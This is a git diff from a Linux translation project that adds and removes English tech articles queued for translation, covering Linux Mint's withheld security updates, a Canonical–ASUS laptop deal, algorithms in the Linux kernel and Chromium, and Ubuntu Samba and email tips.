译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://readwrite.com/2013/11/26/%E2%80%9Chttp://www.hipyoungstartup.com/2013/11/we-should-ditch-nginx/%E2%80%9C
|
||||
[2]:https://twitter.com/bloudermilk
|
||||
[3]:http://www.hipyoungstartup.com/2013/11/we-should-ditch-nginx/#comment-17
|
||||
[4]:http://readwrite.com/2013/11/26/%E2%80%9Chttp://java.dzone.com/articles/why-i-never-blame-open-source%E2%80%9D
|
||||
[5]:http://gigaom.com/2013/11/25/how-the-use-of-a-nosql-database-played-a-role-in-the-healthcare-gov-snafu/
|
||||
[6]:http://developers.slashdot.org/story/13/11/24/1437203/nyt-healthcaregov-project-chaos-due-partly-to-unorthodox-database-choice
|
||||
[7]:http://readwrite.com/2013/11/04/sorry-open-source-isnt-the-panacea-for-healthcaregov#awesm=~oojDQ8fiVXrjGP
|
||||
[8]:http://digital.cabinetoffice.gov.uk/colophon-beta/
|
@ -1,3 +1,5 @@
|
||||
translated by coolpigs
|
||||
|
||||
Basic Linux Interview Questions and Answers – Part II
|
||||
================================================================================
|
||||
Continuing the Interview Series, we are giving 10 Questions here, in this article. These questions and the questions in the future articles doesn’t necessarily means they were asked in any interview. We are presenting you an interactive learning platform through these kind of posts, which surely will be helpful.
|
||||
|
@ -0,0 +1,44 @@
|
||||
Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking
|
||||
================================================================================
|
||||
> Linux Mint has since responded to the comments by Oliver Grawert. [You can read them here][1].
|
||||
|
||||
**Users of the popular Ubuntu-based operating system Linux Mint should not use it for online banking, a Canonical [engineer has advised][2].**
|
||||
|
||||
Mint’s decision to prevent packages with known security issues from updating – from the kernel and browser to the boot-loader and Xorg display server – leaves its users with a “vulnerable system”, says *Oliver Grawert*.
|
||||
|
||||
> “Instead of just integrating changes properly with the packages in the ubuntu archive they instead suppress doing (security) updates at all for them. i would say forcefully keeping a vulnerable kernel browser or xorg in place instead of allowing the provided security updates to be installer makes it a vulnerable system, (sic)”.
|
||||
>
|
||||
> “I personally wouldn’t do online banking with it.”
|
||||
|
||||
Grawert certainly isn’t alone in considering Mint a sub-par choice for the security conscious. Mozilla contributor and former Ubuntu member Benjamin **Kerensa* feels the same:**
|
||||
|
||||
> “It is unclear why Linux Mint disables all of their security updates. I can say that it took them many months to get a fixed version of Firefox packaged while Ubuntu and Debian had already had security fixes in their package.
|
||||
>
|
||||
> This puts Linux Mint users at risk and is one of the key reasons I never suggest Linux Mint to anyone as an alternative to Ubuntu.”
|
||||
|
||||
Oliver Grawert is no fly-by-night contributor. As one of Canonical’s Ubuntu Engineering bods he’s better placed than most to know what he’s talking about.
|
||||
|
||||
> ‘But are Mint users in actual risk? Yes and no…’
|
||||
|
||||
But are Mint users in actual risk?
|
||||
|
||||
Yes and no. The majority of security “holes” (for want of a better word) of the kind present in the packages that Mint’s developers steadfastly refuse to update are both documented and known, but rarely exploited by those of a nefarious breed. As such the “actual threat” posed to users remains, at least for now, largely a theoretical one.
|
||||
|
||||
That’s to say that there are no known incidents of identify theft or worse resulting from use of Mint (or any other Ubuntu-based distribution with unpatched packages) through any of the exploits referenced by Grawert on the Ubuntu Dev Mailing List.
|
||||
|
||||
But just because no-one has entered through the window left ajar thus far, isn’t to say someone won’t ever do it.
|
||||
|
||||
**After seeing Ubuntu given a long and sustained kicking about its own (largely theoretical) privacy issues, it will be interesting to see if, now the boot is placed firmly on the other foot, the vehement concern for users’ wellbeing will extend to other distributions. **
|
||||
|
||||
Notice: We reached out to Linux Mint for comment & clarification but received no reply.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:这个地址在发布的时候填写成“Linux Mint Respond to Ubuntu Developer’s ‘Vulnerable’ Claim”这篇文章的发布的地址
|
||||
[2]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html
|
@ -0,0 +1,29 @@
|
||||
Canonical and ASUS Have Formed a Partnership in USA
|
||||
================================================================================
|
||||
**Canonical and ASUS have formed a partnership that would enable the hardware vendor to equip a couple of its laptops with the Ubuntu operating system.**
|
||||
|
||||
ASUS is now providing the X201E and 1015E laptops with Ubuntu preinstalled in an effort to penetrate the education market.
|
||||
|
||||
“As Ubuntu, and all the software bundled on it is free, there’s no licence fees in the purchase price which significantly reduces cost. This is perfect for students and institutions, both of whose finances can be hard pressed.”
|
||||
|
||||
“Productivity applications are taken care of by LibreOffice. Familiar feeling, they offer all the functionality students and staff need and are fully compatible with existing files from the leading proprietary alternative. There are also bundled free applications for email and web browsing,” reads the official [announcement][1] on Ubuntu’s website.
|
||||
|
||||
The two laptops are not exactly powerhouses and are aimed at productivity, and maybe multimedia content. The ASUS 1015E laptop features a Intel Celeron 847 1.1 GHz processor, 2 GB DDR3 Memory, a 320 GB 5400 rpm Hard Drive, and a 10.1-Inch screen.
|
||||
|
||||
The other model, which is currently out of stock, ASUS X201E, is a little bit more powerful, but not by much: Intel Celeron 847 (1.1GHz) Sandy Bridge processor, 4 GB DDR3, 320 GB 5400 rpm Hard Drive, an 11.6-Inch screen, and Intel GMA HD graphics solution.
|
||||
|
||||
“Beyond the basics thousands of other free, open-source applications are available to meet more specific needs from image processing and 3D animation to anti-virus or accounting.”
|
||||
|
||||
“We know that effective personal computing is vital to students and Institutions, so it’s exciting for us to work with our partners to bring these low-cost, high-performance packages into the education sector,” is also stated in the announcement.
|
||||
|
||||
Canonical announcement sends to a couple of Amazon pages, but if you’re interested in these products than you should know that they are available in a number of other stores.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/Canonical-and-ASUS-Have-Formed-a-Partnership-in-USA-404483.shtml
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://insights.ubuntu.com/resources/article/asus-and-ubuntu-deliver-affordable-world-class-laptops-to-usa-education/
|
@ -1,292 +0,0 @@
|
||||
Translating-------------geekpi
|
||||
|
||||
|
||||
Core algorithms deployed
|
||||
================================================================================
|
||||
Algorithms that are the main driver behind a system are, in my opinion, easier to find in non-algorithms courses for the same reason theorems with immediate applications are easier to find in applied mathematics rather than pure mathematics courses. It is rare for a practical problem to have the exact structure of the abstract problem in a lecture. To be argumentative, I see no reason why fashionable algorithms course material such as Strassen's multiplication, the AKS primality test, or the Moser-Tardos algorithm is relevant for low-level practical problems of implementing a video database, an optimizing compiler, an operating system, a network congestion control system or any other system. The value of these courses is learning that there are intricate ways to exploit the structure of a problem to find efficient solutions. Advanced algorithms is also where one meets simple algorithms whose analysis is non-trivial. For this reason, I would not dismiss simple randomized algorithms or PageRank.
|
||||
|
||||
I think you can choose any large piece of software and find basic and advanced algorithms implemented in it. As a case study, I've done this for the Linux kernel, and shown a few examples from Chromium.
|
||||
|
||||
### Basic Data Structures and Algorithms in the Linux kernel ###
|
||||
|
||||
Links are to the [source code on github][1].
|
||||
|
||||
1.[Linked list][2], [doubly linked list][3], [lock-free linked list][4].
|
||||
|
||||
2.[B+ Trees][5] with comments telling you what you can't find in the textbooks.
|
||||
|
||||
> A relatively simple B+Tree implementation. I have written it as a learning exercise to understand how B+Trees work. Turned out to be useful as well.
|
||||
>
|
||||
> ...
|
||||
>
|
||||
> A tricks was used that is not commonly found in textbooks. The lowest values are to the right, not to the left. All used slots within a node are on the left, all unused slots contain NUL values. Most operations simply loop once over all slots and terminate on the first NUL.
|
||||
|
||||
3.[Priority sorted lists][6] used for [mutexes][7], [drivers][8], etc.
|
||||
|
||||
4.[Red-Black trees][9] are [used][10] for scheduling, virtual memory management, to track file descriptors and directory entries,etc.
|
||||
|
||||
5.[Interval trees][11]
|
||||
|
||||
6.[Radix trees][12], are used for [memory management][13], NFS related lookups and networking related functionality.
|
||||
|
||||
> A common use of the radix tree is to store pointers to struct pages;
|
||||
|
||||
7.[Priority heap][14], which is literally, a textbook implementation, used in the [control group system][15].
|
||||
|
||||
> Simple insertion-only static-sized priority heap containing pointers, based on CLR, chapter 7
|
||||
|
||||
8.[Hash functions][16], with a reference to Knuth and to a paper.
|
||||
|
||||
> Knuth recommends primes in approximately golden ratio to the maximum integer representable by a machine word for multiplicative hashing. Chuck Lever verified the effectiveness of this technique:
|
||||
>
|
||||
> [http://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf][17]
|
||||
>
|
||||
> These primes are chosen to be bit-sparse, that is operations on them can use shifts and additions instead of multiplications for machines where multiplications are slow.
|
||||
|
||||
9.Some parts of the code, such as [this driver][18], implement their own hash function.
|
||||
|
||||
> hash function using a Rotating Hash algorithm
|
||||
>
|
||||
> Knuth, D. The Art of Computer Programming, Volume 3: Sorting and Searching, Chapter 6.4. Addison Wesley, 1973
|
||||
|
||||
10.[Hash tables][19] used to implement [inodes][20], f[ile system integrity checks][21] etc.
|
||||
|
||||
11.[Bit arrays][22], which are used for dealing with flags, interrupts, etc. and are featured in Knuth Vol. 4.
|
||||
|
||||
12.[Semaphores][23] and [spin locks][24]
|
||||
|
||||
13.[Binary search][25] is used for [interrupt handling][26], [register cache lookup][27], etc.
|
||||
|
||||
14.[Binary search with B-trees][28]
|
||||
|
||||
15.[Depth first search][29] and variant used in [directory configuration][30].
|
||||
|
||||
> Performs a modified depth-first walk of the namespace tree, starting (and ending) at the node specified by start_handle. The callback function is called whenever a node that matches the type parameter is found. If the callback function returns a non-zero value, the search is terminated immediately and this value is returned to the caller.
|
||||
|
||||
16.[Breadth first search][31] is used to check correctness of locking at runtime.
|
||||
|
||||
17.[Merge sort][32] on linked lists is used for [garbage collection][33], [file system management][34], etc.
|
||||
|
||||
18.[Bubble sort][35] is amazingly implemented too, in a driver library.
|
||||
|
||||
19.[Knuth-Morris-Pratt string matching][36],
|
||||
|
||||
> Implements a linear-time string-matching algorithm due to Knuth, Morris, and Pratt [1]. Their algorithm avoids the explicit computation of the transition function DELTA altogether. Its matching time is O(n), for n being length(text), using just an auxiliary function PI[1..m], for m being length(pattern), precomputed from the pattern in time O(m). The array PI allows the transition function DELTA to be computed efficiently "on the fly" as needed. Roughly speaking, for any state "q" = 0,1,...,m and any character "a" in SIGMA, the value PI["q"] contains the information that is independent of "a" and is needed to compute DELTA("q", "a") 2. Since the array PI has only m entries, whereas DELTA has O(m|SIGMA|) entries, we save a factor of |SIGMA| in the preprocessing time by computing PI rather than DELTA.
|
||||
>
|
||||
> [1] Cormen, Leiserson, Rivest, Stein Introdcution to Algorithms, 2nd Edition, MIT Press
|
||||
>
|
||||
> [2] See finite automation theory
|
||||
|
||||
20.[Boyer-Moore pattern matching][37] with references and recommendations for when to prefer the alternative.
|
||||
|
||||
> Implements Boyer-Moore string matching algorithm:
|
||||
>
|
||||
> [1] A Fast String Searching Algorithm, R.S. Boyer and Moore. Communications of the Association for Computing Machinery, 20(10), 1977, pp. 762-772. [http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf][38]
|
||||
>
|
||||
> [2] Handbook of Exact String Matching Algorithms, Thierry Lecroq, 2004 [http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf][39]
|
||||
>
|
||||
> Note: Since Boyer-Moore (BM) performs searches for matchings from right to left, it's still possible that a matching could be spread over multiple blocks, in that case this algorithm won't find any coincidence.
|
||||
>
|
||||
> If you're willing to ensure that such thing won't ever happen, use the Knuth-Pratt-Morris (KMP) implementation instead. In conclusion, choose the proper string search algorithm depending on your setting.
|
||||
>
|
||||
> Say you're using the textsearch infrastructure for filtering, NIDS or
|
||||
> any similar security focused purpose, then go KMP. Otherwise, if you really care about performance, say you're classifying packets to apply Quality of Service (QoS) policies, and you don't mind about possible matchings spread over multiple fragments, then go BM.
|
||||
|
||||
### Data Structures and Algorithms in the Chromium Web Browser ###
|
||||
|
||||
Links are to the [source code on Google code][40]. I'm only going to list a few. I would suggest using the search feature to look up your favourite algorithm or data structure.
|
||||
|
||||
1.[Splay trees][41].
|
||||
|
||||
> The tree is also parameterized by an allocation policy (Allocator). The policy is used for allocating lists in the C free store or the zone; see zone.h.
|
||||
|
||||
2.[Voronoi diagrams][42] are used in a demo.
|
||||
|
||||
3.[Tabbing based on Bresenham's algorithm][43].
|
||||
|
||||
There are also such data structures and algorithms in the third-party code included in the Chromium code.
|
||||
|
||||
1.[Binary trees][44]
|
||||
2.[Red-Black trees][45]
|
||||
|
||||
> Conclusion of Julian Walker
|
||||
>
|
||||
> Red black trees are interesting beasts. They're believed to be simpler than AVL trees (their direct competitor), and at first glance this seems to be the case because insertion is a breeze. However, when one begins to play with the deletion algorithm, red black trees become very tricky. However, the counterweight to this added complexity is that both insertion and deletion can be implemented using a single pass, top-down algorithm. Such is not the case with AVL trees, where only the insertion algorithm can be written top-down. Deletion from an AVL tree requires a bottom-up algorithm.
|
||||
>
|
||||
> ...
|
||||
>
|
||||
> Red black trees are popular, as most data structures with a whimsical name. For example, in Java and C++, the library map structures are typically implemented with a red black tree. Red black trees are also comparable in speed to AVL trees. While the balance is not quite as good, the work it takes to maintain balance is usually better in a red black tree. There are a few misconceptions floating around, but for the most part the hype about red black trees is accurate.
|
||||
|
||||
3.[AVL trees][46]
|
||||
|
||||
4.[Rabin-Karp string matching][47] is used for compression.
|
||||
|
||||
5.[Compute the suffixes of an automaton][48].
|
||||
|
||||
6.[Bloom filter][49] implemented by Apple Inc.
|
||||
|
||||
7.[Bresenham's algorithm][50].
|
||||
|
||||
### Programming Language Libraries ###
|
||||
|
||||
I think they are worth considering. The programming languages designers thought it was worth the time and effort of some engineers to implement these data structures and algorithms so others would not have to. The existence of libraries is part of the reason we can find basic data structures reimplemented in software that is written in C but less so for Java applications.
|
||||
|
||||
1.The [C++ STL][51] includes lists, stacks, queues, maps, vectors, and algorithms for [sorting][52], [searching and heap manipulation][53].
|
||||
|
||||
2.[The Java API][54] is very extensive and covers much more.
|
||||
|
||||
3.The [Boost C++ library][55] includes algorithms like Boyer-Moore and Knuth-Morris-Pratt string matching algorithms.
|
||||
|
||||
### Allocation and Scheduling Algorithms ###
|
||||
|
||||
I find these interesting because even though they are called heuristics, the policy you use dictates the type of algorithm and data structure that are required, so one need to know about stacks and queues.
|
||||
|
||||
1.Least Recently Used can be implemented in multiple ways. A [list-based implementation][56] in the Linux kernel.
|
||||
|
||||
2.Other possibilities are First In First Out, Least Frequently Used, and Round Robin.
|
||||
|
||||
3.A variant of FIFO was used by the VAX/VMS system.
|
||||
|
||||
4.[The Clock algorithm][57] by [Richard Carr][58] is used for page frame replacement in Linux.
|
||||
|
||||
5.he Intel i860 processor used a random replacement policy.
|
||||
|
||||
6.[Adaptive Replacement Cache][59] is used in some IBM storage controllers, and was used in PostgreSQL though [only briefly due to patent concerns][60].
|
||||
|
||||
7.The [Buddy memory allocation algorithm][61], which is discussed by Knuth in TAOCP Vol. 1 is used in the Linux kernel, and the jemalloc concurrent allocator used by FreeBSD and in [facebook][62].
|
||||
|
||||
### Core utils in *nix systems ###
|
||||
|
||||
1.*grep* and awk both implement the Thompson-McNaughton-Yamada construction of NFAs from regular expressions, which apparently [even beats the Perl implementation][63].
|
||||
|
||||
2.*tsort* implements topological sort.
|
||||
|
||||
3.*fgrep* implements the [Aho-Corasick string matching algorithm][64].
|
||||
|
||||
4.*GNU grep*, [implements the Boyer-Moore algorithm][65] according to the author Mike Haertel.
|
||||
|
||||
5.crypt(1) on Unix implemented a variant of the encryption algorithm in the Enigma machine.
|
||||
|
||||
6.[*Unix diff*][66] implemented by Doug McIllroy, based on a prototype co-written with James Hunt, performs better than the standard dynamic programming algorithm used to compute Levenshtein distances. The [Linux version][67] computes the shortest edit distance.
|
||||
|
||||
### Cryptographic Algorithms ###
|
||||
|
||||
This could be a very long list. Cryptographic algorithms are implemented in all software that can perform secure communications or transactions.
|
||||
|
||||
1.[Merkle trees][68], specifically the Tiger Tree Hash variant, were used in peer-to-peer applications such as [GTK Gnutella][69] and [LimeWire][70].
|
||||
|
||||
2.[MD5][71] is used to provide a checksum for software packages and is used for integrity checks on *nix systems ([Linux implementation][72]) and is also supported on Windows and OS X.
|
||||
|
||||
3.[OpenSSL][73] implements many cryptographic algorithms including AES, Blowfish, DES, SHA-1, SHA-2, RSA, DES, etc.
|
||||
|
||||
### Compilers ###
|
||||
|
||||
1.[LALR parsing][74] is implemented by yacc and bison.
|
||||
|
||||
2.Dominator algorithms are used in most optimizing compilers based on SSA form.
|
||||
|
||||
3.lex and flex compile regular expressions into NFAs.
|
||||
|
||||
### Compression and Image Processing ###
|
||||
|
||||
1.[The Lempel-Ziv][75] algorithms for the GIF image format are implemented in image manipulation programs, starting from the *nix utility convert to complex programs.
|
||||
|
||||
2.Run length encoding is used to generate PCX files (used by the original Paintbrush program), compressed BMP files and TIFF files.
|
||||
|
||||
3.Wavelet compression is the basis for JPEG 2000 so all digital cameras that produce JPEG 2000 files will be implementing this algorithm.
|
||||
|
||||
4.Reed-Solomon error correction is implemented in [the Linux kernel][76], CD drives, barcode readers and was combined with convolution for image transmission from Voyager.
|
||||
|
||||
### ###Conflict Driven Clause Learning
|
||||
|
||||
Since the year 2000, the running time of SAT solvers on industrial benchmarks (usually from the hardware industry, though though other sources are used too) has decreased nearly exponentially every year. A very important part of this development is the Conflict Driven Clause Learning algorithm that combines the Boolean Constraint Propagation algorithm in the original paper of Davis Logemann and Loveland with the technique of clause learning that originated in constraint programming and artificial intelligence research. For specific, industrial modelling, SAT is considered an easy problem ([see this discussion][77]). To me, this is one of the greatest success stories in recent times because it combines algorithmic advances spread over several years, clever engineering ideas, experimental evaluation, and a concerted communal effort to solve the problem. The [CACM article by Malik and Zhang][78] is a good read. This algorithm is taught in many universities (I have attended four where it was the case) but typically in a logic or formal methods class.
|
||||
|
||||
Applications of SAT solvers are numerous. IBM, Intel and many other companies have their own SAT solver implementations. The [package manager][78] in OpenSUSE also uses a SAT solver.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://github.com/mirrors/linux-2.6
|
||||
[2]:https://github.com/mirrors/linux-2.6/blob/master/lib/llist.c
|
||||
[3]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/list.h
|
||||
[4]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/llist.h
|
||||
[5]:https://github.com/mirrors/linux-2.6/blob/39caa0916ef27cf1da5026eb708a2b8413156f75/lib/btree.c
|
||||
[6]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/plist.h
|
||||
[7]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/rtmutex.h
|
||||
[8]:https://github.com/mirrors/linux-2.6/blob/f0d55cc1a65852e6647d4f5d707c1c9b5471ce3c/drivers/powercap/intel_rapl.c
|
||||
[9]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/rbtree.h
|
||||
[10]:http://lwn.net/Articles/184495/
|
||||
[11]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/interval_tree.h
|
||||
[12]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/radix-tree.h
|
||||
[13]:http://lwn.net/Articles/175432/
|
||||
[14]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/prio_heap.h
|
||||
[15]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/include/linux/cgroup.h
|
||||
[16]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/hash.h
|
||||
[17]:ttp://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf
|
||||
[18]:https://github.com/mirrors/linux-2.6/blob/0b1e73ed225d8f7aeef96b74147215ca8b990dce/drivers/staging/lustre/lustre/lov/lov_pool.c
|
||||
[19]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/hashtable.h
|
||||
[20]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/inode.c
|
||||
[21]:https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/check-integrity.c
|
||||
[22]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/bitmap.h
|
||||
[23]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/semaphore.h
|
||||
[24]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/spinlock.h
|
||||
[25]:https://github.com/mirrors/linux-2.6/blob/master/lib/bsearch.c
|
||||
[26]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/sh/intc/chip.c
|
||||
[27]:https://github.com/mirrors/linux-2.6/blob/10d0c9705e80bbd3d587c5fad24599aabaca6688/drivers/base/regmap/regcache.c
|
||||
[28]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/befs/btree.c
|
||||
[29]:https://github.com/mirrors/linux-2.6/blob/a9238741987386bb549d61572973c7e62b2a4145/drivers/acpi/acpica/nswalk.c
|
||||
[30]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/configfs/dir.c
|
||||
[31]:https://github.com/mirrors/linux-2.6/blob/4fbf888accb39af423f271111d44e8186f053723/kernel/locking/lockdep.c
|
||||
[32]:https://github.com/mirrors/linux-2.6/blob/master/lib/list_sort.c
|
||||
[33]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/ubifs/gc.c
|
||||
[34]:https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/raid56.c
|
||||
[35]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/media/common/saa7146/saa7146_hlp.c
|
||||
[36]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_kmp.c
|
||||
[37]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_bm.c
|
||||
[38]:http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf
|
||||
[39]:http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf
|
||||
[40]:https://code.google.com/p/chromium/
|
||||
[41]:https://code.google.com/p/chromium/codesearch#chromium/src/v8/src/splay-tree.h
|
||||
[42]:https://code.google.com/p/chromium/codesearch#chromium/src/native_client_sdk/src/examples/demo/voronoi/index.html
|
||||
[43]:https://code.google.com/p/chromium/codesearch#chromium/src/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm
|
||||
[44]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/bintree.py
|
||||
[45]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/rbtree.py
|
||||
[46]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/avltree.py
|
||||
[47]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/zlib/deflate.c
|
||||
[48]:https://code.google.com/p/chromium/codesearch#chromium/src/native_client/src/trusted/validator_ragel/dfa_traversal.py
|
||||
[49]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/WebKit/Source/wtf/BloomFilter.h
|
||||
[50]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/libvpx/source/libvpx/vp8/common/textblit.c
|
||||
[51]:http://www.cplusplus.com/reference/stl/
|
||||
[52]:http://www.cplusplus.com/reference/algorithm/
|
||||
[53]:http://www.cplusplus.com/reference/algorithm/
|
||||
[54]:http://docs.oracle.com/javase/7/docs/api/
|
||||
[55]:http://www.boost.org/doc/libs/1_55_0/libs/algorithm/doc/html/index.html#algorithm.description_and_rationale
|
||||
[56]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/list_lru.h
|
||||
[57]:http://en.wikipedia.org/wiki/Page_replacement_algorithm#Clock
|
||||
[58]:http://dl.acm.org/citation.cfm?id=4750
|
||||
[59]:http://en.wikipedia.org/wiki/Adaptive_Replacement_Cache
|
||||
[60]:http://www.varlena.com/GeneralBits/96.php
|
||||
[61]:http://en.wikipedia.org/wiki/Buddy_memory_allocation
|
||||
[62]:http://www.facebook.com/notes/facebook-engineering/scalable-memory-allocation-using-jemalloc/480222803919
|
||||
[63]:http://swtch.com/~rsc/regexp/regexp1.html
|
||||
[64]:http://en.wikipedia.org/wiki/Aho%E2%80%93Corasick_string_matching_algorithm
|
||||
[65]:http://lists.freebsd.org/pipermail/freebsd-current/2010-August/019310.html
|
||||
[66]:http://www.cs.dartmouth.edu/~doug/diff.pdf
|
||||
[67]:http://linux.die.net/man/3/diff
|
||||
[68]:http://en.wikipedia.org/wiki/Merkle_tree
|
||||
[69]:https://github.com/gtk-gnutella/bitter
|
||||
[70]:http://en.wikibooks.org/wiki/LimeWire
|
||||
[71]:http://en.wikipedia.org/wiki/MD5
|
||||
[72]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/crypto/md5.c
|
||||
[73]:http://www.openssl.org/
|
||||
[74]:http://en.wikipedia.org/wiki/LALR_parser
|
||||
[75]:http://en.wikipedia.org/wiki/Lempel_Ziv
|
||||
[76]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/reed_solomon/reed_solomon.c
|
||||
[77]:http://rjlipton.wordpress.com/2009/07/13/sat-solvers-is-sat-hard-or-easy/
|
||||
[78]:http://dl.acm.org/citation.cfm?id=1536637
|
||||
[79]:http://en.opensuse.org/Portal%3aLibzypp
|
@ -1,47 +0,0 @@
|
||||
<<<<<<< HEAD
|
||||
(translating by whatever1992)
|
||||
|
||||
=======
|
||||
crowner的坑
|
||||
>>>>>>> 6ee657b05c5722935988e91e1fc2bfdb9e6f6c79
|
||||
Daily Ubuntu Tips – Change Samba Workgroup And Computer Name
|
||||
================================================================================
|
||||
Here’s another question new users to Ubuntu asked the most. The answer to the question is simple but when you’re new to anything, it takes time to fully understand it.
|
||||
|
||||
Here’s the question we received few days ago;
|
||||
|
||||
> How to change samba workgroup name and computer name in Ubuntu?
|
||||
|
||||
For most computer Ubuntu users, changing their computer name is the least thing on their list, let alone samba workgroup. A few power users may want to learn how to do this easily with using Ubuntu.
|
||||
|
||||
When it comes to changing the computer name in Ubuntu, we’ve written a simple post on that which can be [found here][1]. Follow the this simple guide on [changing your computer name in Ubuntu][1] to accomplish your goal.
|
||||
|
||||
There maybe other ways to changing your PC name in Ubuntu but this is the easiest and fastest. For those using Ubuntu server, you can use vi or vim to edit the hostname and hosts files. Using vi or vim maybe difficult for most so only someone with knowledge of using these editors should use it.
|
||||
|
||||
To change Samba workgroup in Ubuntu, press **Ctrl – Alt – T** on your keyboard to open the terminal. When it opens, run the commands below to edit Samba’s configure file.
|
||||
|
||||
sudo gedit /etc/samba/smb.conf
|
||||
|
||||
When the file opens, make sure the line starting with workgroup in the [global] section has the word or value you want the workgroup to be. For example, if you want the workgroup to be UBGP, replace WORKGROUP with that and save the file. In most cases, you’ll have to restart the computer for the change to apply.
|
||||
|
||||

|
||||
|
||||
This is how you change your computer name as well as its workgroup in Ubuntu. Remember, if you are doing this to share or access Windows files and folders, you must also install Samba. Without Samba, it would be difficult sharing files with Windows.
|
||||
|
||||
To install Samba, run the commands below.
|
||||
|
||||
sudo apt-get install samba
|
||||
|
||||
Please come back and check out other future tips about Ubuntu.
|
||||
|
||||
Enjoy!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-change-samba-workgroup-and-computer-name/
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.liberiangeek.net/2013/10/daily-ubuntu-tips-change-computer-name/
|
@ -1,46 +0,0 @@
|
||||
NearTan占坑
|
||||
Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu
|
||||
================================================================================
|
||||
As you may already know, Ubuntu comes with its own email client called Thunderbird that allows you to setup email accounts to send and receive emails. It also support IMAP protocol which services like Gmail, Yahoo Mail and Microsoft Outlook support.
|
||||
|
||||
Thunderbird is a great email client and does everything an email client supposed to do, but if you’re looking for an alternative that is lightweight and built around GNOME, then you may want to try Geary.
|
||||
|
||||
Geary is a free email program that lets you quickly and effortlessly read emails with a simple interface based around conversations. The entire discuss is read from a single pane without you having to click from one message to another.
|
||||
|
||||
